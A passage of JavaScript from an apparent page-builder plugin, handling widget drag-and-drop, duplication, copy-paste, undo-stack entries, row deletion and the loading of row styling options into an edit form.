      var WidgetDraggedAttr = this_column_widgets[this_widget];

$(".widgetDraggedRowId").val(this_row);
      $(".widgetDraggedColIndex").val(this_column);
      $(".widgetDraggedIndex").val(this_widget);

/*
     this_column_widgets.splice(this_widget, 1);
      
      var thisColumnModelData = this.model.get(this_column);
        var this_column_widgets = thisColumnModelData['colWidgets'];
        var this_column_options = thisColumnModelData['columnOptions'];

this.model.set({
          [this_column] : {
            colWidgets: this_column_widgets,
            columnOptions: this_column_options,
          }
        });
        */

//$(this.el).html('');
      //$('.edit_column').slideUp();
      //$('#ulpb_column_controls').remove();

// this.render();

$(".draggedWidgetAttributes").val(JSON.stringify(WidgetDraggedAttr));
      thisColumnData = this.model.get(this_column);
    },
    widgetDropped: function (ev) {
      var widgetDroppedAttributes = $(".draggedWidgetAttributes").val();
      var widgetDroppedAtIndex = $(".widgetDroppedAtIndex").val();
      var rowID = this.model.get("rowID");
      var this_column = $(ev.target).attr("data-this_col_id");
      var thisColumnData = this.model.get(this_column);
      var this_column_widgets = thisColumnData["colWidgets"];
      if (
        widgetDroppedAttributes != "" &&
        typeof widgetDroppedAttributes != "undefined"
      ) {
        if (this_column_widgets == 0) {
          this_column_widgets = [];
          this_column_widgets.push(JSON.parse(widgetDroppedAttributes));
        } else if (typeof this_column_widgets == "undefined") {
          this_column_widgets = [];
          this_column_widgets.push(JSON.parse(widgetDroppedAttributes));
        } else {
          if (widgetDroppedAtIndex == "") {
            this_column_widgets.push(JSON.parse(widgetDroppedAttributes));
          } else {
            this_column_widgets.splice(
              widgetDroppedAtIndex,
              0,
              JSON.parse(widgetDroppedAttributes)
            );
          }

// this_column_widgets.push(JSON.parse(widgetDroppedAttributes) );
        }
      }

$(".widgetDroppedRowId").val(rowID);
      $(".widgetDroppedColIndex").val(this_column);
      $(".widgetDroppedIndex").val(widgetDroppedAtIndex);
      var dragged_widg_row = $(".widgetDraggedRowId").val();
      var dragged_widg_col = $(".widgetDraggedColIndex").val();
      var dragged_widg_widg = $(".widgetDraggedIndex").val();

$(
        ".draggedRemove_" +
          dragged_widg_row +
          "_" +
          dragged_widg_col +
          "_widg_" +
          dragged_widg_widg +
          " "
      ).trigger("click");
      //console.log(this_column_widgets);
      //console.log(WidgetDraggedAttr);

//var widgets = pageBuilderApp.widgetList.toJSON();
      var thisColumnModelData = this.model.get(this_column);
      var this_column_options = thisColumnModelData["columnOptions"];

this.model.set({
        [this_column]: {
          colWidgets: this_column_widgets,
          columnOptions: this_column_options,
        },
      });

pageBuilderApp.widgetList.reset();
      pageBuilderApp.widgetList.add(this_column_widgets);

var specialAction = "add";
      if (pageBuilderApp.isWidgetDeletAction == true) {
        var specialAction = "delete";
      }

if (pageBuilderApp.isDefaultWidget != true) {
        var specialAction = "dragAdd";
      }

if (widgetDroppedAtIndex == "") {
        widgetDroppedAtIndex = $(
          "#" + rowID + "-" + this_column + " .widget-Draggable"
        ).length;
      }

if (pageBuilderApp.dontSendToStack != true) {
        var thisChangeRedoProps = {
          changeModelType: "widgetSpecialAction",
          specialAction: specialAction,
          thisModelElId: rowID,
          thisColId: this_column,
          thisWidgetId: parseInt(widgetDroppedAtIndex),
          changedOpValue: widgetDroppedAttributes,
        };

sendDataBackToUndoStack(thisChangeRedoProps);
      }

pageBuilderApp.isDefaultWidget = false;
      pageBuilderApp.dontSendToStack = false;
      pageBuilderApp.isWidgetDeletAction = false;
      $(this.el).html("");
      //$('.edit_column').slideUp();
      //$('#ulpb_column_controls').remove();
      this.render();
      jQuery(".edit_column, .ulpb_column_controls").css("display", "none");
      hideWidgetOpsPanel();
      resizeWindowClose();

pageBuilderApp.ifChangesMade = true;
    },
    widgetColChange: function (ev) {
      $(this.el).html("");
      this.render();
    },
    widgetDragRemove: function (ev) {
      var droppedOnRow = $(".widgetDroppedRowId").val();
      var widgetDroppedColIndex = $(".widgetDroppedColIndex").val();
      var widgetDroppedIndex = $(".widgetDroppedIndex").val();
      var this_row = $(".widgetDraggedRowId").val();
      var this_column = $(".widgetDraggedColIndex").val();
      var this_widget = parseInt($(".widgetDraggedIndex").val());

var thisColumnData = this.model.get(this_column);

var thisColumnModelData = this.model.get(this_column);
      var this_column_widgets = thisColumnModelData["colWidgets"];
      var this_column_options = thisColumnModelData["columnOptions"];

this.model.set({
        [this_column]: {
          colWidgets: this_column_widgets,
          columnOptions: this_column_options,
        },
      });

var specialAction = "dragDelete";
      var thisChangeRedoProps = {
        changeModelType: "widgetSpecialAction",
        specialAction: specialAction,
        thisModelElId: this_row,
        thisColId: this_column,
        thisWidgetId: this_widget,
        changedOpValue: JSON.stringify(removedWidgetAttrs[0]),
      };

sendDataBackToUndoStack(thisChangeRedoProps);

$(".widgetDraggedRowId").val("");
      $(".widgetDraggedColIndex").val("");
      $(".widgetDraggedIndex").val("");
      $(".widgetDroppedRowId").val("");
      $(".widgetDroppedColIndex").val("");
      $(".widgetDroppedIndex").val("");
      $(this.el).html("");
      //$('.edit_column').slideUp();
      //$('#ulpb_column_controls').remove();
      this.render();
    },
    deleteWidget: function (ev) {
      thisWidgetEl = $(ev.target);

thisWidgetParentColID = thisWidgetEl.attr("data-parentwidgetid");
      thisWidgetIndex = parseInt(thisWidgetEl.attr("data-widget_id"));

// $('#'+thisWidgetParentColID).children('.editColumn').trigger('click');

pageBuilderApp.currentlyEditedColId = thisWidgetParentColID;
      pageBuilderApp.currentlyEditedWidgId = thisWidgetIndex;
      pageBuilderApp.currentlyEditedThisCol =
        thisWidgetEl.attr("data-wid_col_id");
      pageBuilderApp.currentlyEditedThisRow = this.model.get("rowID");

jQuery(".ColcurrentEditableRowID").val(
        pageBuilderApp.currentlyEditedThisRow
      );
      jQuery(".currentEditableColId").val(
        pageBuilderApp.currentlyEditedThisCol
      );

this.loadWidgetsInColumn();

$("#widgets li:nth-child(" + (thisWidgetIndex + 1) + ")")
        .children()
        .children(".wdt-edit-controls")
        .children("#widgetDelete")
        .trigger("click");

$(
        ".ulpb_column_controls, .edit_column, .pageops_modal, .insertRowBlock, .ulpb_row_controls, .edit_row, .closePageOpsBtn"
      ).css("display", "none");
      resizeWindowClose();
    },
    duplicateWidget: function (ev) {
      var this_column = $(ev.target).attr("data-wid_col_id");
      var this_widget = $(ev.target).attr("data-widget_id");
      var thisColumnData = this.model.get(this_column);
      var rowID = this.model.get("rowID");
      var this_column_widgets = thisColumnData["colWidgets"];
      var WidgetDraggedAttr = jQuery.extend(
        true,
        {},
        this_column_widgets[this_widget]
      );
      var currentItemIndex = this_column_widgets.indexOf(
        this_column_widgets[this_widget]
      );
      this_column_widgets.splice(currentItemIndex, 0, WidgetDraggedAttr);

var thisColumnModelData = this.model.get(this_column);
      var this_column_widgets = thisColumnModelData["colWidgets"];
      var this_column_options = thisColumnModelData["columnOptions"];

this.model.set({
        [this_column]: {
          colWidgets: this_column_widgets,
          columnOptions: this_column_options,
        },
      });

var thisChangeRedoProps = {
        changeModelType: "widgetSpecialAction",
        specialAction: "add",
        thisModelElId: rowID,
        thisColId: this_column,
        thisWidgetId: currentItemIndex,
        changedOpValue: JSON.stringify(WidgetDraggedAttr),
      };
      sendDataBackToUndoStack(thisChangeRedoProps);

hideWidgetOpsPanel();
      $(
        ".ulpb_column_controls, .edit_column, .pageops_modal, .insertRowBlock, .ulpb_row_controls, .edit_row, .closePageOpsBtn"
      ).css("display", "none");
      resizeWindowClose();
      pageBuilderApp.widgetList.reset();
      pageBuilderApp.widgetList.add(this_column_widgets);
      $(this.el).html("");
      this.render();
      pageBuilderApp.ifChangesMade = true;
    },
    editWidgetTrigger: function (ev) {
      //console.log('editWidgetTrigger')

thisWidgetEl = $(ev.currentTarget);

editWidgetTrigger = true;

isWidgetDragButtonClicked = false;
      if ($(ev.target).is("span")) {
        isEditWidgetButtonClicked = $(ev.target)
          .parent()
          .hasClass("widgetHandle");
        draggableWidgets = $(ev.target).parent().hasClass("draggableWidgets");
        wdgtdragRemove = $(ev.target).parent().hasClass("wdgt-dragRemove");
      } else {
        isEditWidgetButtonClicked = $(ev.target).hasClass("widgetHandle");
        isWidgetDragButtonClicked = $(ev.target).hasClass("widgetMoveHandle");
        draggableWidgets = $(ev.target).hasClass("draggableWidgets");
        wdgtdragRemove = $(ev.target).hasClass("wdgt-dragRemove");
      }

isEltWrappedEl = $(ev.target).hasClass("elLtWrapped");

if (isEltWrappedEl == true) {
        editWidgetTrigger = false;
      }

if (isWidgetDragButtonClicked == true) {
        editWidgetTrigger = false;
      }

if (draggableWidgets == true || wdgtdragRemove == true) {
        editWidgetTrigger = false;
      }

if ($(ev.currentTarget).find(".liveTextActive").length > 0) {
        editWidgetTrigger = false;
      }
      if (isEditWidgetButtonClicked == true) {
        editWidgetTrigger = false;
      }

if (pageBuilderApp.currentlyEditingWidget == thisWidgetEl.attr("id")) {
        editWidgetTrigger = false;
        if ($(".columnWidgetPopup:visible").length < 1) {
          editWidgetTrigger = true;
        }
      }

/*
      if (pageBuilderApp.isInlineSavingActive == true) {
        editWidgetTrigger = false;
      }
      */

if (editWidgetTrigger == true) {
        thisWidgetParentColID = thisWidgetEl.attr("data-parentwidgetid");
        thisWidgetIndex = parseInt(thisWidgetEl.attr("data-widget_id"));

pageBuilderApp.currentlyEditedColId = thisWidgetParentColID;
        pageBuilderApp.currentlyEditedWidgId = thisWidgetIndex;
        pageBuilderApp.currentlyEditedThisCol =
          thisWidgetEl.attr("data-wid_col_id");
        pageBuilderApp.currentlyEditedThisRow = this.model.get("rowID");

jQuery(".ColcurrentEditableRowID").val(
          pageBuilderApp.currentlyEditedThisRow
        );
        jQuery(".currentEditableColId").val(
          pageBuilderApp.currentlyEditedThisCol
        );

this.loadWidgetsInColumn();

// $('#'+thisWidgetParentColID).children('.editColumn').trigger('click');

pageBuilderApp.currentlyEditingWidget = "";
        pageBuilderApp.currentlyEditingWidget = thisWidgetEl.attr("id");

$("#widgets li:nth-child(" + (thisWidgetIndex + 1) + ")")
          .children()
          .children(".wdt-edit-controls")
          .children("#widgetEdit")
          .trigger("click");

$(".animateWidgetId").val(thisWidgetIndex);
        $(".pageops_modal").css("display", "none");
        $(".insertRowBlock").css("display", "none");
      }
    },
    loadWidgetsInColumn: function () {
      var thisColumnData = this.model.get(
        pageBuilderApp.currentlyEditedThisCol
      );
      var this_column_widgets = thisColumnData["colWidgets"];

pageBuilderApp.widgetList.reset();
      if (this_column_widgets) {
        pageBuilderApp.widgetList.add(this_column_widgets);
      }
      $(".checkIfWidgetsAreLoadedInColumn").val("true");
    },
    editWidget: function (ev) {
      //var editWidgetTuc0 = performance.now();

if (pageBuilderApp.isInlineSavingActive == true) {
        editWidgetTrigger = false;
        pageBuilderApp.isInlineSavingActive == false;
      } else {
        thisWidgetEl = $(ev.target);

thisWidgetParentColID = thisWidgetEl.attr("data-parentwidgetid");
        thisWidgetIndex = parseInt(thisWidgetEl.attr("data-widget_id"));

pageBuilderApp.currentlyEditedColId = thisWidgetParentColID;
        pageBuilderApp.currentlyEditedWidgId = thisWidgetIndex;
        pageBuilderApp.currentlyEditedThisCol =
          thisWidgetEl.attr("data-wid_col_id");
        pageBuilderApp.currentlyEditedThisRow = this.model.get("rowID");

this.loadWidgetsInColumn();

// $('#'+thisWidgetParentColID).children('.editColumn').trigger('click');

$("#widgets li:nth-child(" + (thisWidgetIndex + 1) + ")")
          .children()
          .children(".wdt-edit-controls")
          .children("#widgetEdit")
          .trigger("click");

$(".animateWidgetId").val(thisWidgetIndex);
        $(".pageops_modal").css("display", "none");
        $(".insertRowBlock").css("display", "none");
      }

// var editWidgetTuc1 = performance.now();
      //console.log("Call to editWidgetTrigger took " + (editWidgetTuc1 - editWidgetTuc0) + " milliseconds.");
    },
    copyWidgetOps: function (ev) {
      var this_column = $(ev.target).attr("data-wid_col_id");
      var this_widget = $(ev.target).attr("data-widget_id");
      var thisColumnData = this.model.get(this_column);
      var this_column_widgets = thisColumnData["colWidgets"];
      var WidgetCopiedAttr = jQuery.extend(
        true,
        {},
        this_column_widgets[this_widget]
      );

pageBuilderApp.copiedWidgOps = JSON.stringify(WidgetCopiedAttr);
    },
    pasteWidgetOps: function (ev) {
      thisWidgetEl = $(ev.target);

thisWidgetParentColID = thisWidgetEl.attr("data-parentwidgetid");
      thisWidgetIndex = parseInt(thisWidgetEl.attr("data-widget_id"));

jQuery(".ColcurrentEditableRowID").val(
        pageBuilderApp.currentlyEditedThisRow
      );
      jQuery(".currentEditableColId").val(
        pageBuilderApp.currentlyEditedThisCol
      );

this.loadWidgetsInColumn();

// $('#'+thisWidgetParentColID).children('.editColumn').trigger('click');

$("#widgets li:nth-child(" + (thisWidgetIndex + 1) + ")")
        .children()
        .children(".wdt-edit-controls")
        .children("#pasteCopiedOptions")
        .trigger("click");
    },
    deleteRow: function () {
      $(".deleteRowIndex").val(this.model.get("rowID"));
      let thisModel = this;

$(".popb_confirm_action_popup").css("display", "block");

$(".popb_confirm_subMessage_row").text(
        "Do you want to delete this Row ? Deleted Items can be restored by clicking on redo button at top bar."
      );

$(".confirm_no").on("click", function () {
        $(".popb_confirm_action_popup").css("display", "none");
        $(".deleteRowIndex").val("");
        return;
      });

$(".confirm_yes").one("click", function () {
        let deleteRowIndex = $(".deleteRowIndex").val();
        let rowID = thisModel.model.get("rowID");
        let rowCID = thisModel.model.cid;
        let modelIndex = pageBuilderApp.rowList.indexOf(thisModel.model);
        let modelAttributes = thisModel.model.clone();
        if (deleteRowIndex != "") {
          if (rowID == deleteRowIndex) {
            let thisChangeRedoProps = {
              changeModelType: "rowSpecialAction",
              thisModelCId: rowCID,
              thisModelElId: rowID,
              specialAction: "delete",
              thisModelVal: modelAttributes,
              thisModelIndex: modelIndex,
            };

sendDataBackToUndoStack(thisChangeRedoProps);

thisModel.model.destroy();
            $(thisModel.el).remove();
            $(".deleteRowIndex").val("");
          }
        }
        hideWidgetOpsPanel();
        $(
          ".pageops_modal, .insertRowBlock, .edit_column, .ulpb_row_controls, .popb_confirm_action_popup, .closePageOpsBtn, .edit_row"
        ).css("display", "none");
        resizeWindowClose();
        return;
      });

pageBuilderApp.ifChangesMade = true;

return;
    },
    EditRow: function () {
      //console.log(JSON.stringify(this.model) );
      $(".ulpb_column_controls").css("display", "none");
      hideWidgetOpsPanel();
      $(".pageops_modal").css("display", "none");
      $(".edit_column").css("display", "none");
      $(".insertRowBlock").css("display", "none");

document.getElementById("rowOpsForm").reset();

let thisModelDataAttr = _.clone(this.model.attributes);

let defaultModelDataAttr = JSON.stringify(
        _.clone(pageBuilderApp.rowModelDefaultOps)
      );

defaultModelDataAttr = JSON.parse(defaultModelDataAttr);

mergeNonsetObjectKeys(
        thisModelDataAttr["rowData"],
        defaultModelDataAttr["rowData"]
      );

let rowID = this.model.get("rowID");
      $(".currentEditingRow").val(rowID);
      let row_height = this.model.get("rowHeight");
      let row_height_unit = this.model.get("rowHeightUnit");
      let row_no_columns = this.model.get("columns");
      let rowData = thisModelDataAttr["rowData"];

if(typeof(row_height_unit) == 'undefined'){ row_height_unit = 'px'; }

let row_margin = rowData["margin"];
      let rowMarginTop = row_margin["rowMarginTop"];
      let rowMarginBottom = row_margin["rowMarginBottom"];
      let rowMarginLeft = row_margin["rowMarginLeft"];
      let rowMarginRight = row_margin["rowMarginRight"];

let row_padding = rowData["padding"];
      let rowPaddingTop = row_padding["rowPaddingTop"];
      let rowPaddingBottom = row_padding["rowPaddingBottom"];
      let rowPaddingLeft = row_padding["rowPaddingLeft"];
      let rowPaddingRight = row_padding["rowPaddingRight"];

$("#row_height").val("");
      $(".row_height_unit").val("");
      if (row_height != "") {
        $("#row_height").val(row_height);
      }

if (row_height_unit != "") {
        $(".row_height_unit").val(row_height_unit);
      }

if (row_no_columns != "") {
        $("#number_of_columns").val(row_no_columns);
      }

if (rowData["bg_img"] != "") {
        $(".rowBgImg").val(rowData["bg_img"]);
      }

if (rowData["bg_imgT"] != "") {
        $('[data-optname="rowData.bg_imgT"]').val(rowData["bg_imgT"]);
      }

if (rowData["bg_imgM"] != "") {
        $('[data-optname="rowData.bg_imgM"]').val(rowData["bg_imgM"]);
      }

if (rowData["conType"] != "") {
        $('[data-optname="rowData.conType"]').val(rowData["conType"]);
      }

if (rowData["conWidth"] != "") {
        $('[data-optname="rowData.conWidth"]').val(rowData["conWidth"]);
      }

if (rowMarginTop != "" && rowMarginTop != "0") {
        $(".rowMarginTop").val(rowMarginTop);
      }

if (rowMarginBottom != "" && rowMarginBottom != "0") {
        $(".rowMarginBottom").val(rowMarginBottom);
      }

if (rowMarginLeft != "" && rowMarginLeft != "0") {
        $(".rowMarginLeft").val(rowMarginLeft);
      }

if (rowMarginRight != "" && rowMarginRight != "0") {
        $(".rowMarginRight").val(rowMarginRight);
      }

if (rowPaddingTop != "" && rowPaddingTop != "0") {
        $(".rowPaddingTop").val(rowPaddingTop);
      }

if (rowPaddingBottom != "" && rowPaddingBottom != "0") {
        $(".rowPaddingBottom").val(rowPaddingBottom);
      }

if (rowPaddingLeft != "" && rowPaddingLeft != "0") {
        $(".rowPaddingLeft").val(rowPaddingLeft);
      }

if (rowPaddingRight != "" && rowPaddingRight != "0") {
        $(".rowPaddingRight").val(rowPaddingRight);
      }

$(".rowBgColor").val(rowData["bg_color"]);
      $(".rowBgColor").spectrum("set", rowData["bg_color"]);

if (typeof rowData["video"] != "undefined") {
        var row_video = rowData["video"];

$.each(rowData["video"], function (index, val) {
          if (val != "") {
            $("." + index).val(val);
          }
        });

if (typeof row_video["rowVideoType"] != "undefined") {
          if (row_video["rowVideoType"] == "mp4") {
            $(".bgrowmp4").css("display", "block");
            $(".bgrowyt").css("display", "none");
          }
          if (row_video["rowVideoType"] == "yt") {
            $(".bgrowyt").css("display", "block");
            $(".bgrowmp4").css("display", "none");
          }
        }
      }

if (typeof rowData["rowGradient"] !== "undefined") {
        var rowGradient = rowData["rowGradient"];

$.each(rowGradient, function (index, val) {
          if (val != "") {
            $("." + index).val(val);

if (index == "rowGradientColorFirst") {
              $(".rowGradientColorFirst").spectrum("set", val);
            }
            if (index == "rowGradientColorSecond") {
              $(".rowGradientColorSecond").spectrum("set", val);
            }

if (index == "rowGradientLocationFirst") {
              $(".PoPbrangeSlider").slider({
                value: val,
              });
            }
          }
        });

if (rowGradient["rowGradientType"] == "linear") {
          $(".radialInput").css("display", "none");
          $(".linearInput").css("display", "block");
        } else if (rowGradient["rowGradientType"] == "radial") {
          $(".radialInput").css("display", "block");
          $(".linearInput").css("display", "none");
        }
      }

if (typeof rowData["rowBackgroundType"] !== "undefined") {
        if (rowData["rowBackgroundType"] == "solid") {
          $(
            "#defaultRowBgOptions .POPBInputNormalRow .rowBackgroundTypeSolid"
          ).prop("checked", true);
          $("#defaultRowBgOptions .POPBInputNormalRow .popbNavItem label").css({
            background: "#f1f1f1",
            color: "#333",
          });
          $("#defaultRowBgOptions .POPBInputNormalRow .rowBackgroundTypeSolid")
            .prev("label")
            .css({ background: "#c5c5c5", color: "#fff" });
          $("#defaultRowBgOptions .POPBInputNormalRow .popb_tab_content").css(
            "display",
            "none"
          );
          $("#defaultRowBgOptions .POPBInputNormalRow .content_popb_tab_1").css(
            "display",
            "block"
          );
        }
        if (rowData["rowBackgroundType"] == "gradient") {
          $(".rowBackgroundTypeGradient").prop("checked", true);
          $("#defaultRowBgOptions .POPBInputNormalRow .popbNavItem label").css({
            background: "#f1f1f1",
            color: "#333",
          });
          $(
            "#defaultRowBgOptions .POPBInputNormalRow .rowBackgroundTypeGradient"
          )
            .prev("label")
            .css({ background: "#c5c5c5", color: "#fff" });
          $("#defaultRowBgOptions .POPBInputNormalRow .popb_tab_content").css(
            "display",
            "none"
          );
          $("#defaultRowBgOptions .POPBInputNormalRow .content_popb_tab_2").css(
            "display",
            "block"
          );
        }
      } else {
        $(
          "#defaultRowBgOptions .POPBInputNormalRow .rowBackgroundTypeSolid"
        ).prop("checked", true);
        $("#defaultRowBgOptions .popbNavItem label").css({
          background: "#f1f1f1",
          color: "#333",
        });
        $("#defaultRowBgOptions .POPBInputNormalRow .rowBackgroundTypeSolid")
          .prev("label")
          .css({ background: "#c5c5c5", color: "#fff" });
        $("#defaultRowBgOptions .popb_tab_content").css("display", "none");
        $("#defaultRowBgOptions .content_popb_tab_1").css("display", "block");
      }

if (typeof rowData["rowHoverOptions"] !== "undefined") {
        var rowHoverOptions = rowData["rowHoverOptions"];

if (typeof rowHoverOptions["rowBgColorHover"] != "undefined") {
          if (rowHoverOptions["rowBgColorHover"] != "") {
            $(".rowBgColorHover").val(rowHoverOptions["rowBgColorHover"]);
            $(".rowBgColorHover").spectrum(
              "set",
              rowHoverOptions["rowBgColorHover"]
            );
          }
        }

if (rowHoverOptions["rowHoverTransitionDuration"] != "") {
          $(".rowHoverTransitionDuration").val(
            rowHoverOptions["rowHoverTransitionDuration"]
          );
        }

if (rowHoverOptions["rowBackgroundTypeHover"] == "solid") {
          $(".rowBackgroundTypeSolidHover").prop("checked", true);
          $(".POPBInputHoverRow .popbNavItem label").css({
            background: "#f1f1f1",
            color: "#333",
          });
          $(".rowBackgroundTypeSolidHover")
            .prev("label")
            .css({ background: "#c5c5c5", color: "#fff" });
          $(".POPBInputHoverRow .popb_tab_content").css("display", "none");
          $(".POPBInputHoverRow .content_popb_tab_1").css("display", "block");
        }
        if (rowHoverOptions["rowBackgroundTypeHover"] == "gradient") {
          $(".rowBackgroundTypeGradientHover").prop("checked", true);
          $(".POPBInputHoverRow .popbNavItem label").css({
            background: "#f1f1f1",
            color: "#333",
          });
          $(".rowBackgroundTypeGradientHover")
            .prev("label")
            .css({ background: "#c5c5c5", color: "#fff" });
          $(".POPBInputHoverRow .popb_tab_content").css("display", "none");
          $(".POPBInputHoverRow .content_popb_tab_2").css("display", "block");
        }

if (
          rowHoverOptions["rowBackgroundTypeHover"] == "" ||
          typeof rowHoverOptions["rowBackgroundTypeHover"] == "undefined"
        ) {
          $(".rowBackgroundTypeSolidHover").prop("checked", false);
          $(".rowBackgroundTypeGradientHover").prop("checked", false);
          $(".POPBInputHoverRow .popbNavItem label").css({
            background: "#f1f1f1",
            color: "#333",
          });
        }

var rowGradientHover = rowHoverOptions["rowGradientHover"];
        $.each(rowGradientHover, function (index, val) {
          if (val != "") {
            $("." + index).val(val);

if (index == "rowGradientColorFirstHover") {
              $(".rowGradientColorFirstHover").spectrum("set", val);
            }
            if (index == "rowGradientColorSecondHover") {
              $(".rowGradientColorSecondHover").spectrum("set", val);
            }
          }
        });

if (rowGradientHover["rowGradientTypeHover"] == "linear") {
          $(".radialInputHover").css("display", "none");
          $(".linearInputHover").css("display", "block");
        } else if (rowGradientHover["rowGradientTypeHover"] == "radial") {
          $(".radialInputHover").css("display", "block");
          $(".linearInputHover").css("display", "none");
        }
      } else {
        $(".rowBackgroundTypeSolidHover").prop("checked", false);
        $(".rowBackgroundTypeGradientHover").prop("checked", false);
      }

if (typeof rowData["rowBgOverlayColor"] !== "undefined") {
        if (rowData["rowBgOverlayColor"] != "") {
          $(".rowBgOverlayColor").val(rowData["rowBgOverlayColor"]);
          $(".rowBgOverlayColor").spectrum("set", rowData["rowBgOverlayColor"]);
        }
      }

if (typeof rowData["rowOverlayGradient"] !== "undefined") {
        var rowOverlayGradient = rowData["rowOverlayGradient"];

$.each(rowOverlayGradient, function (index, val) {
          if (val != "") {
            $("." + index).val(val);

if (index == "rowOverlayGradientColorFirst") {
              $(".rowOverlayGradientColorFirst").spectrum("set", val);
            }
            if (index == "rowOverlayGradientColorSecond") {
              $(".rowOverlayGradientColorSecond").spectrum("set", val);
            }
          }
        });

if (rowOverlayGradient["rowOverlayGradientType"] == "linear") {
          $(".radialInput").css("display", "none");
          $(".linearInput").css("display", "block");
        } else if (rowOverlayGradient["rowOverlayGradientType"] == "radial") {
          $(".radialInput").css("display", "block");
          $(".linearInput").css("display", "none");
        }
      }

if (typeof rowData["rowOverlayBackgroundType"] !== "undefined") {
        if (rowData["rowOverlayBackgroundType"] == "solid") {
          $(
            "#defaultRowBgOverlayOptions .POPBInputNormalRowOverlay .rowOverlayBackgroundTypeSolid"
          ).prop("checked", true);
          $(
            "#defaultRowBgOverlayOptions .POPBInputNormalRowOverlay .popbNavItem label"
          ).css({ background: "#f1f1f1", color: "#333" });
          $(
            "#defaultRowBgOverlayOptions .POPBInputNormalRowOverlay .rowOverlayBackgroundTypeSolid"
          )
            .prev("label")
            .css({ background: "#c5c5c5", color: "#fff" });
          $(
            "#defaultRowBgOverlayOptions .POPBInputNormalRowOverlay .popb_tab_content"
          ).css("display", "none");
          $(
            "#defaultRowBgOverlayOptions .POPBInputNormalRowOverlay .content_popb_tab_1"
          ).css("display", "block");
        }
        if (rowData["rowOverlayBackgroundType"] == "gradient") {
          $(
            "#defaultRowBgOverlayOptions .rowOverlayBackgroundTypeGradient"
          ).prop("checked", true);
          $(
            "#defaultRowBgOverlayOptions .POPBInputNormalRowOverlay .popbNavItem label"
          ).css({ background: "#f1f1f1", color: "#333" });
          $("#defaultRowBgOverlayOptions .rowOverlayBackgroundTypeGradient")
            .prev("label")
            .css({ background: "#c5c5c5", color: "#fff" });
          $(
            "#defaultRowBgOverlayOptions .POPBInputNormalRowOverlay .popb_tab_content"
          ).css("display", "none");
          $(
            "#defaultRowBgOverlayOptions .POPBInputNormalRowOverlay .content_popb_tab_2"
          ).css("display", "block");
        }
      } else {
        $(
          "#defaultRowBgOverlayOptions .POPBInputNormalRowOverlay .rowOverlayBackgroundTypeSolid"
        ).prop("checked", false);
        $(
          "#defaultRowBgOverlayOptions .POPBInputNormalRowOverlay .rowOverlayBackgroundTypeGradient"
        ).prop("checked", false);
        $("#defaultRowBgOverlayOptions .popbNavItem label").css({
          background: "#f1f1f1",
          color: "#333",
        });
        $("#defaultRowBgOverlayOptions .popb_tab_content").css(
          "display",
          "none"
        );
        $("#defaultRowBgOverlayOptions .content_popb_tab_1").css(
          "display",
          "block"
        );
      }

if (typeof rowData["rowBackgroundParallax"] !== "undefined") {
        if (rowData["rowBackgroundParallax"] == "true") {
          $(".rowBackgroundParallax").val("true");
        } else {
          $(".rowBackgroundParallax").val("false");
        }
      }

if (typeof rowData["rowCustomClass"] !== "undefined") {
        if (rowData["rowCustomClass"] != "") {
          $(".rowCustomClass").val(rowData["rowCustomClass"]);
        }
      }

if (typeof rowData["rowHideOnDesktop"] !== "undefined") {
        if (rowData["rowHideOnDesktop"] != "") {
          $(".rowHideOnDesktop").val(rowData["rowHideOnDesktop"]);
        }

if (rowData["rowHideOnTablet"] != "") {
          $(".rowHideOnTablet").val(rowData["rowHideOnTablet"]);
        }

if (rowData["rowHideOnMobile"] != "") {
          $(".rowHideOnMobile").val(rowData["rowHideOnMobile"]);
        }
      }

if (typeof this.model.get("rowHeightTablet") !== "undefined") {
        if (this.model.get("rowHeightTablet") != "") {
          $(".rowHeightTablet").val(this.model.get("rowHeightTablet"));
        }
        if (this.model.get("rowHeightUnitTablet") != "") {
          $(".rowHeightUnitTablet").val(this.model.get("rowHeightUnitTablet"));
        }

if (this.model.get("rowHeightMobile") != "") {
          $(".rowHeightMobile").val(this.model.get("rowHeightMobile"));
        }
        if (this.model.get("rowHeightUnitMobile") != "") {
          $(".rowHeightUnitMobile").val(this.model.get("rowHeightUnitMobile"));
        }
      }

if (typeof rowData["marginTablet"] !== "undefined") {
        var marginTablet = rowData["marginTablet"];

if (marginTablet["rMTT"] != "" && marginTablet["rMTT"] != "0") {
          $(".rowMarginTopTablet").val(marginTablet["rMTT"]);
        }

if (marginTablet["rMBT"] != "" && marginTablet["rMBT"] != "0") {
          $(".rowMarginBottomTablet").val(marginTablet["rMBT"]);
        }

if (marginTablet["rMLT"] != "" && marginTablet["rMLT"] != "0") {
          $(".rowMarginLeftTablet").val(marginTablet["rMLT"]);
        }

if (marginTablet["rMRT"] != "" && marginTablet["rMRT"] != "0") {
          $(".rowMarginRightTablet").val(marginTablet["rMRT"]);
        }
      }

if (typeof rowData["marginMobile"] !== "undefined") {
        var marginMobile = rowData["marginMobile"];

if (marginMobile["rMTM"] != "" && marginMobile["rMTM"] != "0") {
          $(".rowMarginTopMobile").val(marginMobile["rMTM"]);
        }

if (marginMobile["rMBM"] != "" && marginMobile["rMBM"] != "0") {
          $(".rowMarginBottomMobile").val(marginMobile["rMBM"]);
        }

if (marginMobile["rMLM"] != "" && marginMobile["rMLM"] != "0") {
          $(".rowMarginLeftMobile").val(marginMobile["rMLM"]);
        }

if (marginMobile["rMRM"] != "" && marginMobile["rMRM"] != "0") {
          $(".rowMarginRightMobile").val(marginMobile["rMRM"]);
        }
      }

if (typeof rowData["paddingTablet"] !== "undefined") {
        var paddingTablet = rowData["paddingTablet"];

if (paddingTablet["rPTT"] != "" && paddingTablet["rPTT"] != "1.5") {
          $(".rowPaddingTopTablet").val(paddingTablet["rPTT"]);
        }

if (paddingTablet["rPBT"] != "" && paddingTablet["rPBT"] != "1.5") {
          $(".rowPaddingBottomTablet").val(paddingTablet["rPBT"]);
        }

if (paddingTablet["rPLT"] != "" && paddingTablet["rPLT"] != "1.5") {
          $(".rowPaddingLeftTablet").val(paddingTablet["rPLT"]);
        }

if (paddingTablet["rPRT"] != "" && paddingTablet["rPRT"] != "1.5") {
          $(".rowPaddingRightTablet").val(paddingTablet["rPRT"]);
        }
      }

if (typeof rowData["paddingMobile"] !== "undefined") {
        var paddingMobile = rowData["paddingMobile"];

if (paddingMobile["rPTM"] != "" && paddingMobile["rPTM"] != "1.5") {
          $(".rowPaddingTopMobile").val(paddingMobile["rPTM"]);
        }

if (paddingMobile["rPBM"] != "" && paddingMobile["rPBM"] != "1.5") {
          $(".rowPaddingBottomMobile").val(paddingMobile["rPBM"]);
        }

if (paddingMobile["rPLM"] != "" && paddingMobile["rPLM"] != "1.5") {
